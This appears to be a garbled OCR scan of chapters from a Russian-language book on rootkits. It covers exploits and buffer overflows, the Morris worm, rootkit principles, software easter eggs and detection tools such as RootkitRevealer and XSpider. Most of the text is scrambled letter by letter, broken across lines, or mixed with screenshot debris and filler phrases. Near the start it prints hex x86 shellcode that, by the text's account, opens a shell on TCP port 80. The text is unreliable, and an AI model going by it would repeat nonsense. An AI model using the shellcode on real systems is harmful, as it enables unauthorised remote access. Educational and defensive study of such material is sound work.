р ы п ри в л ег й кор тс з ат и р д оч к с е е д пр
а должн а й до к , пнор юаик щ и . юа Кьс , са м и оп д унчтео й з ап и сь ь толь к о то , чт о у мен и п рог н я ю ме ис т л без опаснит , н о
Д ал е
я т об а р
, РИУТК г о о б эит
Т Т Э х раз н овид яст
В Инерт е в т о врем ым х бзнеспаоы х оцапреино ы гноа р и ч е е пар в поль з еват ай лф м . Внодерс ы л ье в т а , о т чьге о и н ем в но ар и и UNIXсиемст н дО о врем я даж е счиалосьт
в ы ь п тлон с я
я оп д оыб чно
й в суме тис я н е вы полн я ю амдин оратс я з п ащ у н е у е чр вс е ж е лчуш е
О Н Е ЭЙО ЛПС К х оидур
й унчтое й з па и ьс ю , н е получи л а дм и н ср тао и к ю ив ос х ж е роемкн дац и й . В сво е оправдн и ы Outpost Firewall, асКперикй з AVZ и AntiSpyware. ноКче , че м вбщо е н ичгео .
й в з л ом щ и а к
я вц о л а т с р
Т И Н Е ЧЕРВ .
ы х : пиш у тэ и е гом у сак , и я пе , тэ о н е
Ь П го в ир
а О С UNIX, сч иатвш сая . Ичонтсик м е е нжендатсо п к чжуим , в то м числ й о к д пчодиснетя я е т м ж е огран и ч ен имя и о н з пащу не , мотпэ у пр и п р а в и л ь н о м ы ви у р с н е сжоме т п ри ч н и т ь сущ в е т н ог , чт о висур ы по д UNIX н евоз мж н ы х сме тис й н а дутсо
, чбо т
м н емн о
я н до
й и з са я е сиемстн ы м , , чт о поль з о а дм и н с р т и о а д е вр . . и в е с л тя
15
RootKits
нО д а к а лу д о с г н ом а р г (поч вты й м с аи к л ь н ы м лсЕ п ол н е и н а лди н мя на
о п ол н ь ст ю н з еуяв и м ы х по царе и н ы ь в з л о м ьа т , и споль з у я з уяв и м ост о яни оеч п с еб . Пнци р п с зт еюалч к а , WWW, FTP, telnet, ssh и други е и полн мч и я , т о етс ь и так я п рог ам а з уя в и м а н априме е бера уф , т о кекр р мжео т исполь з ват уадлен о м ом п к ь ю ер т . Д л я готэ о дочатнс ы боль ш ей , че м допуистмая . Эот т ко и з апуиствш ег о ег о п,асцеор —зчнита д сиесмтой .
И н с тр у кц и shellко д м ш и в аю щ у
, ко т р ы . Н а п р и м е р ю TCPс о е д и н е н и
е вз ломщ и , с л е ду ю щ и
х е ист м н е б ы в теа и ан уст ов л е н ог о в си ем т я в юмщуе сд л : пым а ргеов р с ) з апуюск ят , ак к прави ло с прив легмия и п о л ь з о в ае тл , ош ибчон о об ра ы т в е ь е е дл я з ап уск а сгвео о п та дер ь серв у д беду т вы п олньтяс я с п ри в леги , керк р плчоуи т п ол н ы й о нк р тл
к з ап и сы в ае й ок д в ы з ы в а е я п о п орт у 80:
т в б у еф р т о б л о ч ку
: UNIX е п ор ы , с я root. т пе р о кдо а кор тс у ь
, н а з ы в а ю тс
я
, п р о с л у
\x31\xdb\xf7\xe3\xb0\x66\x53\x4 3\x53\x43\x53\x8 9\xel\x4b\xcd\x80 \ \x8 9\xc7\x52\x66\x68\x00\x50\x4 3\x6 6\x53\x8 9\xel\xb0\xl0\x50\x51 \ \x57\x89\xel\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57 \ \x8 9\xel\x4 3\xb0\x66\xcd\x80\x8 9\xd9\x8 9\xc3\xb0\x3f\x4 9\xcd\x80 \ \x41\xe2\xf8\x51\x68\x6e\x2f\x7 3\x68\x68\x2f\x2f\x62\x6 9\x8 9\xe3 \ \x51\x53\x8 9\xel\xb0\x0b\xcd\x80
В т о в рем я м н ог и ера б уф , а эт о оз н ач ло лю б у ю UNIXсиесмту н ио с т .
е UNIXсерви с , чт о з н аю щ и , послкь
Прог ам ы , экс п л у а ти р у ю щ и ю ст я — скэп лой ыт . Он и служа ш а н им у , июем щ у ю онелдпур С пвлоеян и м эспклой т в взло н е очен ь в и ка л ц ф р о в а н о м у тэ о н ац ели т ь а нс к е р о пт р бозар м , посл е чге о з апиуст Р ад юст ша едн ц и ще т с в о я и мз у раз бч от и к ма е и с т
и с п р а в е дл и о с т я дов ль н т обн овтля я и сп ол ь з ов ат е «н е зн юа т
. 16
и н жу о опеиратвн о ь сво » прогамы и н вл еу г о и н е усп ел
и сиемыст ь дл
я прон и к овен и , обн жураивю щ и : сндгое и в ы п и уст
и з ащ и щ ен ы о т п ер олн е и к ом г в з л ом ат ь п р иа т к ч е с а онд а и т а ж е ды р а в без опас
е у зя в и м о с т и т а ко г о р о да , та к и т во т с д е р м давокст и п ор н ст ег ю узвьиямтсо , и зпаксу а ег о н а эо т й м UNIXсиметс ы сат л по д сил у лю умоб , плоьзеювта . Вес , чт о н уж о дл в н а пио с к мы е и с т , зуяви мо й о п р е дл н ы ь пщ ядохи й сп кл ой э т . о оиьмет , онд ак . Кмор
о дян
ы н е бы л й ч ел ов у у вес х бы л
, чт о узяви мост о н е вс е сменитсы е тго , в пнделсо я в смеитс
н аз ы в а о до к мша ин е
а н а . , даж е я в з л ом а , м
и в UNIX и сп равля е а мд и н ро са т е врем у узяви мост е воржтен и
я об н аруж и л с ь в юу тс е о щ у
я и
ь ды ра
ы сп е ь тне
я пвоия лас , о кырот
, ат к н аз ы ваем , и снгедо я же ю з у пк а л т , вз ломан
, пко
х е а а
в а Гл
а 1 .Влзо
м с точ к
и зрени
я ер к
Д руг а врес о н с що а е лен д о
я раз н ов и д ст ь м а гп р о , ипслоьз юу щ и х и з в ен с т ы е зуя в и м ост , тэ о чвре и (worms). Он и бело е аонвтм ы , че м эскп лой ыт : черв н снаорке м сте и и са м перовя т кмопью рет ы сте и н а н али ч е опре й зуя в и м ост . Обн аруж и в ы у др , о н опкируе т вс о и а й ф л ы н а о мк пью рет вжтре у и з апеуск т са м сбе я н а эо т м омпкь ю ерт . Зает м ц и к л п ов сет оря я черв ь отпя ь санкируе т сте ь и ищ е т кмопью рет ы с узяви мосьт ю р П и о т э м о н п чм ео а т аж ы к д й з ар ж ен ы й ом п к ь ю ер т , бочт ы и з б еж ат н р о п в тг о и н цф и р о в а н и я .
ьв р е Ч з ап и уст в ш ег зар н ы расп ел дн у в р ае с серв н ев оз м ж н о
, нщ яидйосха х сет , дго к р з апросми
я н а знжеаро м е ь п юр м о т к , мжео т в ы п ол н т я о г е о в з л ом щ и а к . Наприме , з ар и в н сот и о м кп ь ю е р от й и даж е и з рзан ы х и ч ксе г офар х рег и он в , можн ю DOSаакт у (Distributed Denial of Service) огакн ибуд а п о кнамод е ре к а св е эт и кмпоью рет ы н ач и ю , парлиз у я ег о ру тоба . В ысняит ь иочстн и к аакт .
о р втА м г в оп р е о чвре я бы л ыро т к й р а с п о тн л я я т чвре sendmail и fingerd. оЭт ыро т к й в 1988 гдо у сояст етл ь св е н ы х / в о е н ы х и н ов ут с п ь м юо у р е к т , н а ортк м бы л з ы ва л ом ан к д ы й реж и м пмагро в рем н и ) , чт о п оз в ля о вы полнтя тЭ и кнамод пьюре т в трже н е уавдлось ьл ю доситж ен и м аш и н еж в ерт
ы в ы з в ал и н ьл бо е ш у у св е ниымдохбе , т о черв ь вы з ва я гот о ж е сгмоа .
Робер п о и тес ь быртс л в онсво а з па щу не
т М ор и с , исполь з у о рнарпстоил
и ь . ь
ь н ам о д к
ы в и з о урсоти ь ь т з асы п ат ь и пр и эот м
. В 1988 гдо я зуя в и м ост
у о н н апи с л ч ерв ь , и в п гор ма х я п о вмес у у н р те И , м и з уз ло в у н и в е р с от в и прави . аРбто л ч ерв ь кат : о н плоюкд ч алс я к а п горма а sendmail, зеат м о н вы ы (эт о и бы л а узяви мост ь sendmail тго о ь лю ыб е кмонаыд .
ю пумарго е файлы л перполн и о разетьлу
а
. Елс
, корат я п ер н оси л а н а ком и ж е с sendmail «пжурдоиьтяс е бер уф а в демон е fingerd с ц е : чвре ь долже н бы т ь з апущ е н н
» а
Д о с ти г н у в ц ели , ч е р в ь Мор и с а п о в то р я л ц и кл , н а ч и н а я с п о ы то к р е г и с ат ц и н а други х мп о ь к ю а р е т х с пщмо ь ю rsh (Remote Shell) и rexec (Remote Execute). Парол и о н б ип д ао р л п о сл ов ар ю / u s r / d o c t / w o r d s . ерв Ч ь расп о тн л с я я п о И н ер т у с о ак т й ьо р с т к ю , чт о норытек е ш ам и н ы бы л и и ин цф рован ы п о нольеск о раз , пмот у чт о Мори с н е пер ре усм дот л в оз м ж н ост ь дл я чвре я пчмеота ь з арж ен ы е о м к п ь ю е рт ы . ки т у Р т пох нам д хязоин иг у р д е р е т юьпмко т с по р о инмуретсо ну ю мша ину
ж н а чвре а и веянл опы
. Керк
я тме
, чот , пап о в н а крет юпьмо вутре ж т их ; окна д о в оич л т ы п о св ео й веи т ацни . Эспклой м н еса ц к и он р в а н о й ануст ов к р н е мжое т з н ат ь з арн е , киак
, аеиожд т к о е о т чвре я о н н е заерж т ж е пр и о т э м с л у ж и и р иу к т а н а уадлен е пхеро и в н амечн о й
т т к 17
RootKits
в з м ол олждн ы и т с ом и а кт у р
у сиемст бы т . И все .
ю П о р яв т з н ач е и ры к и т ел ь т н ог п в р и у юс т п л ой в т рац и он (н апри ме
, чт о рикут т тэ о пмгаор а ил и нбоа р пгорма , осн ов ы м на м оры т к х в я ле с т я орг ан и з ац и я backdoorвход а в симетс у и со е ог т э о в дох а и аитквн ос и н а н е м о т стсдер в об н аруж ен и я н еж л а о до к а (ан итв русо в и др.) . Д л я реализ ц и и и т э х ц ле й в и а тк ур т реш н и я , з аимвстон ы е и з виосур в и ш пион в , н о н е эск : рикут т ж ом е т и сп ол ь з в ат ь н у м ое кд и т р в а н ы е у н фц к и и по е й с и е м ты , н о н иак к н е уз явимост и в прогамн м бо псе ч н и , рикут т н гоидк а н е вы звео т перполн и е беруаф) .
Дл
я о гт
и р ку т уров н ат б л и ц ы ) з аг ру и т мв е р п ол уч ен и р да й в е об н аруж и т
, чбот
е н е зрыак и раз личн ы т анесра
т долж е е ярда
е о клоьц а т дочатсн ь д о п н лд се о и и з ащ иыт , тэ о уровен а мжое т распжорьят о ярд о вы псолнет я м 3.
у дл
х цп ро с е о сазкьт
а м ы пивгро , чт о у пцросе х Pentium) тсе : о т 0 д о 3. Н а нвоелу ь с си м ак л ь н ы м я уровнм я я н а 0 кьлоце , а
Й СЫТР К
щЕ е оид н приме т о т с е ь р сы к т е ел ь т о ск й п рог ам ы
р срыкогт , нумеокдитрван ы
18
, пмотэ
у у нге о по д року х н а раз н ы е узя в и
, н цанле ы я унавткос
й о
и ндог идневтс го
х и
ы п р е од а с в т и н получит
1.4. Н Е ВИ СЯК
П рог ам и ст и ст н ы н а прогам н о ору т к
л е е амдин оратс х эспклойвт л слжуи т ем
ь ер к у п ол н ы й о к н рт л ь н а д с и е мт о й , . Кмопн е т риакту , раюбот щ и й н а ь дутсо п к яур д , пвосыд еа т рд я у ложн ы е дан ы е (моди цф руе т си ем н т ы е , бочт ы ры ск т ь ш ва и ц соп р е ы и файлы . Эот т ом п к н е т м ож н о ь п р и п щм о и сп л к ой а э т , вы з вюа щ ге о п ер ол н е и е ер б уф а в о я з агруз к и смеитс ы и зюапксу щ ге о з агруз чи к риакут . Друго й о пс б я у о пдс т а к ярд у тэ о уанстовк а kernelкомп н е т а и рк у т а а к к а уройства . Елс и драйве р реатбо т н а нвоелу м коль ц е пцорасе , ь рикут т беду т очне ь сложн .
бно р д П е ча с беду исй , вплот ым х коль ц ам м еа и с т ме ис т ыб о ч н с н море
е ещ ь дктеся ь эот
Й КО о кдо
Д Т Э
О РИ КТ У
а тэ о та к н аз ы вем е в оз м ж н ост
Т е «пасхль н ы и об ы ч н о
е яйц а» й п ол ь з в а
,
. ы лю бя
х с о з да е т л й
т тиак . Вьде
е об есп ч н и ю он
м в сюудле щ и х гвхал , а сей а 80386 (и блео е познд и х вер ь ы ч те р е уров н я з ащ и ыт , н аз ы вае м уровн е рабеот т операц и он а я и п рав м и уп ост а д . Операц и он а я и дпутсо а п о смево у усрменот ию , н о пндлаирык е пмарго ы н а кьлоц е
и р а юб о т
, помтэ
м образ о , соглан е п р и н а дл е ж
м увеок ч и ват о з о н а к е лд т ь в с у у в оошк
ь в прогам
е имен , авотрсик
т н е раз р бочт и акм е «О прогаме
» беуд
е п рав , а фирме т н ап и с н
а е е а , н а о
в а Гл
«О 2005 АЗ О «Рог а и копы т ор т в о т э й п рог ам ы . ыровтА ю б ва л я т в пгмоар у сбощ не и н ле д р ы х усл ов и я х (н апри ме л ва и к ш , курот ю в обы чно
а 1 .Вл зо
м с точк
а Corp.»», а н е фами л , н е жлеюа щ и е ь аотс , корт е беду т п вояльт с и о п р е дл н о , пр и н ажит м режим е н итк о н е н аж и мае)т
бн ое с О о срык т м и фунцк имя еВс м изнвтсе ы пасхль н ы Windows 98. Пмря о сйеча идт е =rand(100) и н ажмит
и зрени
я ер к
и де й с в т и е л ь н ы я н е и з в е сн т ы м и
а
х ав , до о пр и оп и
я отл ь к й о м кб и н а ц и .
и лю бя т баловьтс я раз рбчоти к е яйц а птека а MS Office, з аство с пйиодт е к кпьмюоуре т , з ап усит е «Enter». Рез ульат т пвалетсдр
и Microsoft. к (screensavers) в е Word и вве н н а ри с . 1.1. AS1*1
й фа
л
а Пв р к
а
frid
Вс^т ок
а
ацр Фо
т
ив р е С
с
1абцли
а
Јкап
а в рСкп
а
j j d i j л ? & * « л / •» cj а , ц а .э щ
Q 3 If 100% : й
.& ыбО^ы
5 Ј g . i a r A l
й
. Г ш
« New Rtrfnan
12
: Ж К Н ^ З
ё 3 Е
|С ь Ј ш ь . ,е д ё . д т х мгяки х..фран дтоск,и к^>ул .ок фр д н д у з с к и х . б у л о к , д а в ы п е й . ч , ^ С ь с ш ь д щ е . э т и ч а ю . С ^ д ш ь . д г ц к. э т и х ,^г к и х . фр а н п у д с к д > : фр а и г д а с ки х ^ у л о ^ й а в ы п ^ й ч ^ С ъ ^ш ь ^е г н б э т щ .м я г к и х фр а н д ^ к и х . б у л о к , фр а н ц у з е . к и х ^ у л о к ^ д а д ы д е й ч а ю Съ еш Й Ш ^ ^ь с . и г ь . е щ с Э ТИ Х М Я Г КИ : ; ф. р а н ц у ? с к н х й у л о к Ф в ? н ц у ? .^к . Л ^у л о 1 ;,м ях к; 1х . рф а н ц у з с ки фд а д ц yjc к и х б у л о к , д а Й ы п Сдеш д щ е эти х .м я д к д х , 6р а н д у з ':к д х . б у л о к фр а н ц у з е к н х д у л о к , д а в ы п е ч аю .. . С / ь г д ь е.щ ё. ^ рф а н ц у ? е к ц х , .б у л о к , д а . в ы п е й ,ч а С>дш к^е ^ ?тидд Г 1яг ^ фр а н ц у ? с к и д ^ у 5 9К л . 5^.У . п ? й ЧЕ ! ! ч аю . . С ^ е ш ь ^ е щ / ; э т и х , ь 1 л г кд фр а д ц у з с к д х ^ у л о к , . д а . в ы п е й Јьльд.,е.щ е . >п; х Ш1К1 Ц рф а н ц у з с к и х фр а н ц у з с к и х , б у л о к , д а . в ь эд е
,ю а ч
Д ч аь 5
х булок
ь .е щ . Сь еи т
е ,9т н х , м я г к « х х будок ь е . щ й д ти х
, , д а ^ ы д е . м я г к и
Я ч аю . , С ь е . ш ь _щ Ј.э т и н .м я г к н х х >д д к х ,Јф а н , ц у з Ј ;ки , х булок , д а в ы п е й .ч а ю . С ъ е и л ь Јщ ё . э т н х м я г к и
е дтдх . м яг . ки х , д а . э ы д е й ч а
^ ю Сдеш
, д а
Д х
, . в ы п е й
. х
ь . г ц ^ э ти х . м яг кд .
.
. , д а ^ в ы п д й ча . Ј > $ ^ $ я ^ в & ^ п ш
й ч аю .
ю ^ъг шь д фр а н ц у ;
сщг , эт щту.^ с кн х б у л о к , д а в ы п е С^е,ш 1 1 ..е и д? .?ти х . .м ^ ди х
Ж
й % .
ю с Сьегадш х фр а н ц у з с к и х б у л о к ^ д а . в ы п е , .ч юц ^ , б у л о к й даю .. . .С'ьше
Съ еш х Ф р а н ц у з с ки й чаю
е э т а х . м яг к и
, д а е . ы п е й . ч а ю е эти х м яг ки
. еид
ь .е щ е
. э т и х м я г к и х б у л о к, ]ещ
. Сь _еи л=.
л
х , д а д ы н е й ?тих^1.ч гпк.х
, Сь ,еи #>.е.щ ^?ти .х..м^г .к и д .ф^цлазу.^с 11 Х булояда^ы п ^
. .
л .
.
^ С ъ е ш ь
Х булок , д а е ы д е , е щ , ? , ? т и х _ м я г к
^шгктм Ь т, С ъ е ш ь . е щ (;'Т д рф д к ц у з с к н ; ч а ю , С д н а ег н
э
&* РШ Ч
х 11яг ки хрфа н 1 1р с ки ^ . б у л о к , д а в ы п е е ш ь , е щ . |'.этд: :м гя ки С т 1 о к
д 1
с.Ри
м инерст о х яи
. д а в ы п е ь дщ едти
, С ь ^ ц а . .е щ
ей , ч аю ,
рфа 1 Ш У з р к^ Я . 6.у л ^ .к, д а . ,е ц п е Й ч а ю ,
Ва
давы дейчаю , С ъ е ш к .м яг к д : ;..фр а н ц у з с к и ? у л.с if , д а , в ы п е й ч аю
Щ
. CMmtjtmtm&mww.&smnmwxte^bM&mQtXyw?; S>s№jm&i™&$mm,
И К ЗС У Ц Н А Р Ф ч аю
ны ь т с ве о
л (
_и н т»и ,
? Тдго а нмнего ц о т Microsoft. лсЕ ю пйерт и к сюудел щ м
й юча .. ^
,ю а ч й ч аю х фр а н ц у з с к и ;^i и:'Л
1.1. Парок од
. Сь .еш
ь ещ
е и тх э
м яг к и
х Ф лан дрски
х б у л о к, . д а в ц п е Д . е щ е э т и х м яг кн д
Сь еш ь
. .
:Ш
. х б удок , С ъ е ш ь т
.№ Ъ .у*>\
, д а в ы п ^ д ч ^ ю . С ъ е ш е щ е э т и х и я г к н :;ф р а н ц у з с ^ и х . б у л о к , ,д х Ду л о к, , д а в ы п е й д а ю ан г ли й ск
й
от
ОЖ
ь ещ е.эти
х .мигкх,я ,
, а в ц п ( ?Й
^ О ъ е и л > .е щ е _ э г н ^м я г к и
. х .
"
• ' •
'
Microsoft
о раслбим я и расрмиот и ж е у ва с не т н а эт о времн и у у т н кп .
З а й ди т е в ппак у т Шфи р ы в пнале и управлен и я , в ы должн ы бтеду е т м «Alt» + «Enter». П о иед о эгот з ан и м е ы й вм е с и ш амти р ф . Н о втсме шо к е к — ва т с й во С п о ондмо у дл я жагодк о ш а т ри ф н т яы й м— н те м о а в м приседт я долг о и х з раык вьт
м парочк , может
у пасхль е с чиост
й
е «Ctrl» + «А» , а з а ь сум арн ы й объме , я до в л ь н о м н го о . Еди н свте н ы й н еп ри
. Наж ми т е увиедт о орсоетк .
19
RootKits
'. ' . БЕс
мМ
Е с Lm>T?i> ^ v u
EXPLOREREXE
Д о
с.Ри
32
1.11. сокиСп
т ак ыхнви
лсоП
роцпесв
од
и после
мв еш ат ельст ав
е
рут ти к а
АВ Г Л
2. ОМ ЛЗВ
С И ТОЧ К
РЗЯЕНИ
ТРАО СНИМ АД
• КТИ АЛ ПРОФ • ИНЧЕ Л • В Т С Д Е Р С • РОТ КЕТ ДЕ
А Е А И Н Е Ж ОУ Р А Н Б Ы РОТИ КТ У
R O O T K I T S
2 к а З
. 665
Я РО Т И К Т У В
В
В эо т й гвал е м ы пировг м о б ощбе й тникхе е ожнбуериа я рвоитк у , а тжка е о пгормах , поз вюля щ и х авомитаз роват ь эт у зчуад . Соти т з амеить , чт о плон у ю уверн ост ь в тмо , чт о н а вша е м кмопью рет е н е оалост ь и сле о д в и а к т ур , н е жоме т та д ь ж а д е format.com. Да , адж е е с л и в ы о рп е ф и м та еур е св е ди ск и шв а г е о кпмьоюарет , сщу ветс т в н те р о я с ь тго , чт о и кр у т т а он с т е я в Flashпитамя . Н о икат е и к р ут ы ьосткред , мотпэ у бос о беспоикьт я н е н ужн о , а т о мжон о ста ь парн оимк . ка И т , воз мжн в ы е му т а д , чт дг о к а в вша е м ш не го о гтсо я
ы дв е сиуацт о о н ч ти с кмопью рет и з смиеытс
. Перва я тэ о кдго а ва , и в ы итох е бу чер ь с я о т е очт т о «пьилсео » и в . Сн ачл а м ы пговир м о
2.1. КТИ АЛ ПРОФ
А
В ы ппредолагт
, чт о ва ш кмопью ет
чо н т ыро т к
: в чиотс е буд
е н и д мо б х е т описан
ы дале
лсЕ и сакн е р чот т о обн аруж и л п ну т к , в ортк м м ы п ог в ри а в ш о мк п ь ю е т р дей свт и ель н л а т ки е . н о ч еК а ну с т о в л е 34
, иедаль н ы о кмор
й случа е смоа
о уб и ь ед т ся е в эо т
р «чыитсй» . мотэП й гвеал
, т о н елиш н и м о леч н и о «чи»тс й тэ о потсу й Windows.
ш компь ю ет р тн о я в ы хиот пиролфатке
? Предполж н и у в о руж аем с , и тиестру
, тгдо й кмопью рет
м е д бу и в аш ег а можн
р чис . В орат е убрат
т и л и я тэ о ь н епро .
й а н тсо де м сумеитс т п роч и ат о о мк п ь ю е т р а о п р и с ту п и т , н а корт
я ан ск ер м и . ь с л е уд ю щ и
,
й . Есл и ж е ь к п ир о ф
м н и ч ге
о н е
в а Гл
2 . 1 . 1 . С О З АД Н И
Е У Ч Е Т Н О
а 2.Влзо
м с точк
Й ЗА П И С
и зрени
И ОБЫ Ч Н ОГ
я а д м и н с р ат о
а
О П О Л Ь ЗО В А Т Е Л
Я
ыв р е П м длое м е у ад л я м вс е плюкод чен и и м о е ту р ы к , п о вы лнед о й ли н и п о л ь з е яв а т , н е амдин оратс . Н н иче о й учнтео й з апись ю . Имен о т а бо р ь в И н ерт . натчеУ я з ап и с л д я об а р т п о обслуживан ю м еы и с т з ан д и я в еы т с х си о е д н и й и т . п . У м а рг ы е д бу т зг а р о д о н ем ь ш е в зо м ж н йе тс н еи м и бо ы ч н го о п о л ь з в е ла т я с вьмсе н е о т инме и м ади н ор т с .
я к И н ер т у : п о лоакль н о й и тес , . Плсо е го т э о зос еа д м об ы ч н ог о а язы к е Microsoft тэ о н аз ы ваест я аг ро по д эот й учнтео й з апи сь ю в ы и бтеду е ь ам д и н о р а т с а оа сн т е я отл ь к о : н ройаситк , аунст овк и п рог ам , со риакту , нротя а и л и ш п и он ск й п ро , лсе и но а едбу т з ап ущ ен а о т а ог ран и ч е н ы м и в о з м ж н о и ся т , а
Н а чн у т е ю з ап и с и в ы оид н ртеабо ник и муго т уаснт ови л о рпа и к унртеИ
а ж е л а ть н
лсе
л с оП ни м ие с ы т
е с о з а дн и я к Ин ерт
ь м а ди н о р т с е з а кмпоью рет ь клавиурнт ы
о п а ов с т и ь п арол ь о л и чоге : даж е рвосдтен я тго , чбот ы уз н ат
. А т о мал й сеиф р дл
, ажд ь ваш
е и
. я ог ран и ч е н о у и оеьтм
й н ч ут о е , чт о он
й з ап и с и буд
и з ан ов
о с о з да й т
т дпунтсо
е п л ю окд ч е
ы други
м п о л ь з о в ае тл я
м
.
т и девВ тина рх .я и н е д е в с
ь дл я о н ут е ч м ме т с е . {О с е т и т а рб
е им я и л о пр а е в о н с ба п о з е ) мИ
я ял е т ав по з ьл о
й зс и п а
и щ пвкаи т с о ь к пу щвак итсо
:
и злыб а
, зшт и п а и эт и
е и
! • • • • • • •« • • •
е и не д ж рев т доП
:
W т ав о з ьл о п с И г о б юл
{ • • • « • • • • • • •
ь щ и ю су д е л о ял е т а в о пз ьл о
е им
я л е т а в о з пьл о
я и л по р а
ь эт о и н е ч ю л пк д о
V т и ч ю.В кл
ь э у м ба д н а р
е е и н е ч юл пк д о р дл
м к т е н Ир е т н
я и н е ч юл к пд о
и и н е ч юл пк д о
2.1. еи ан д з Со
р дл я соеди н ен и , боле е и н о рф м а т и в н ы й
у п о и н уа ч л мо
я к т е н р Ие т н
Г 2.10. о,мн жзВ
ianpe т и т
~\
в ссти ем
ь нуа р Ж
уст ловена
л теу кщ и
х соб ы и т
Р е жи
в о б у ч е ни т н а зрыакт
)
я й ор п
Па1'ГПЭаТ1Штрз 'ПоИ
т Т
, d
и
JDjJ
~3\ j ~ H Timeoi* p
т н а зраык т
< аП е
д
М С а И (Ю »
рут тик
•Щ PortStawner locathost Elile gtjit Scions ^ew & Ш м
ь N et BIOS с омени д
к Remote Р Г О С В А
е Пак
0
ODP~™~~~~ \ Г) О т кр ы т
с.Ри
: еПак
й ор п
: 11:35:44
'• 11:44:23
м с es_^
1
й по р
S3 Н е ОСТУПН Д
; 15:08:01
TCP
!
х в не е 10 пе с и
т н з рыа з к т
\ 15:06:39
UOP
1
пмеуыни ре
еП а к
J
ш 0N5
UDP
е (wi я почтв ы
:•• Щ инлдсеоП
*•! н кз
о
е
е сз
а
о в а л с з Ип ь
о
е Ю а з б л чо к р о бмеуриы лко
'(.и г а бмеуриы лко
т i чинПр
о
е
3 Ч аст
й "юр
S3 нупосНтед
е Ю м б л н р ос к
ерсод ми ко
' д * ынеп
S3 Нунпоесдт
Scan. Сам о е н а емо м о м пк ь ю е р т е з ан ля о б ол е е 30 ми н ут . Я н е в н и ак л м тб оа р ы RootkitRevealer, н о в о врем я с ак н и р о в а н и я ом й Word о «зваилс » нольеск о ра з п о нольеск о суенк д (34).
о р ы Нт е к
е рикут ы пчруя т сво и дан ы е в альернтиав ы х паокт х дан ы х RootkitRevealer учиыт вае т эт у взо мжньтс : в мне ю Options в ы мжоте е вы т аб р ь опц и ю сакн и рован и я н а д мт е ы х NTFS. Эт а оп ц и я м ож е т дат ь лож ну ю туговер , польск у в альнреитав ы х пакот х хран я т дан ы е и н отек ыр е анитв рус ы (н апри ме , то т ж е KAV v5). RootkitRevealer н е уеадля об н аруж ен , т о прогам б о сп ы удален и я эгот
т рикыут а п рл е д а г о риакту
, а толь к т п о л ь з о в аетл
о обн аруживе ю п о и с ак т
и риукт т их . Есл ь в И н ет р т
. т е
.
П ер д и сп оль з ов ан и е м п рог ам ы я н а с то яе л ь н о р е ко м е н д у ю п ро ч и та ь е е д о ку м е н та ц и ю , ко т р а я в сег д а д о с ту п н а п о а др е с у h t t p : / / w w w . s y s i n t e r n a l s . c o m / U t i l i t i e s / R o o t k i t R e v e a l e r . h t m l . П О НЛ ЫЗ Е
Е УТ ИЛ
Ы
ром К е с ак н е р а п ортв , п олез н о и м ет ь п о д р у ко й у ти л т у XSpider ( h t t p : / / w w w . p t s e c u r i t y . r u / d o w n l o a d / x s 7 d e m o . z i p ) . Он а скан и руе т с и е м у т , в ы яв л я и м ею щ и ес я в н е й у зя в и м о с ти . И н офр м а ц и я о б у зя в и м о с тя х б е р тс я , окн еч н о ж е , и з в н утрен е й б аз ы , п отэм у XSpider н уж о р е г у л рян о о б н о в л т ья . Правд , тэ о удов ль ств и е н е б е с п л а тн о е , ак к и сам а п рог ам . еспБ латн о м ож н о с ак ч т ь то л ь к о де м о в е р с и ю . А п о л ь з о в а ть с я в з ломан ы м и в ерсимя и XSpider даж е и н е дум ай те : гд е га р а н ти я , чт о крек р н е п роп ачт и л п рог ам у акт , ч т о он а н е буед т в и де т ь и сп оль з уем ы е и м р у т ки ы ? 49
R o o t K i t s
JSJitl
l A RootlcttRevealer S у s inter n a b : w w w . s y i m t Cf nah.c
; . ! V ^ _
a"HKLM\SOFTV/ARЈVCi4«es\N«oAACTnn"eoHemt1 f^HkLMSSUFTwARE\MiciwoffVvAido^^^ #HiaM\SQFTWARE\OOeC0D8CWST.INl\CerYww de p6g.na de cydtso MS"3F30>'""'"" ™ — • « « ; C.tKt:'.»/) H,:LMNS0F
'^
! 2 M M S 2 3 2
'^HKiMSSOF
тр « »
м Д '"> до авлгне [л я («зл ен ог
Copyright «13962005
^HKLMVSYS J|RHKLMVSYS
нЗх ш о
2rvices\spldSCfg\1%5923922^E384e82FA4eAF72C5XAJ 0 HKLMVSYS Т Е M\ContiolSe>002\S«vites\Ј ventfociVSviiemi Дичетсп р сеанс а с п р а в а дл я усалеонг {^HiaM\$YSTEM\C^iol$etM2\$e
с.Ри
2.16. рогП ам
rkdetect
HTTP://WWW.INVISIBLETHINGS.ORG
Я н етлаьсоян м у спец и ал ст ак к раз ли ч н ы Я сувтое е га о м п ра я служи ж каТ км
о рмонекуд ю питесо ь эот т сйта , при н алдеж щ и й и з в ен с т о у п о бьроб е с риамкту и Джоа н оР в ку т с й . В ы н йатед е та м о вспомегльатн ы х прогам . е дортек ы риоквут , та к и мнго ю сачк т ь дв е пгомраы : Patchfinder и Klister. Перва я п горма а т об н аруж и т ь и рк ы у т , мицодф рую щ и е пту ь и сп олн е и я , а вот т дл я обн аруж ен и я D КОМикорвут .
е н а отэ у SVV, санк ирую щ у (ри с.2.18) . 52
м сай т
е в ы н й ат е д ю ш ва
е н ь л об ш е у у м е и ст
у с цьле
ю и он р м а цф и о н у ю о п р е дл и т
ю п рог ам ь е е з уя в и м ост
и
в а Гл ел
а 2.Влзо
м с точк
и зрени
я а д м и н с р ат о
а
1В Ш
C:\WINDOWS\S¥5tem32\tmdeKe fix - try to fix suspected modifications report - generate report
following options are supported: /a verify ALL nodules l l l l l l 1111" IIIIKII 1 1 1 1 ' " l l l l l l l * 0886650 I I R I I I l l l i i l R I 1 I 1 R I I 1 1 1 ! н и щ .,,. .. _jaJdiris IKIII111Bill I I H I i l l l ' 1 1 1 . ш Ы тмовбзпАШ ќ K i l li l R I I R I и 1 1 1 ] :,AppP4t.• :• П Report i ^2 Сн т о е Ј j Text M Hex .j f Fftets ( ; ; Conditions
* « * « * * * *
BSSEH
ќ*ќ*«»» * » * * * * « * * * • *• .
•
•
•
]
:
******* illtlll
• ;• • • :.
•
. :
nniii
*****
******** ***** * » * * * * * « • * • * * ***»*«*.* • ш и
п
*'**
**:****«*
««м е ш к и iw* m i n * '. .. • ш и п
******* ***** ******** ***** :. : * * * * « • '•
Ж
Name. File Ext: Description Last Accessed FHe Created Last Written:
*l
I
•
•
in»»
• * ••
d
V B i K r i p t s Ј 2 Include * j Sweep Case
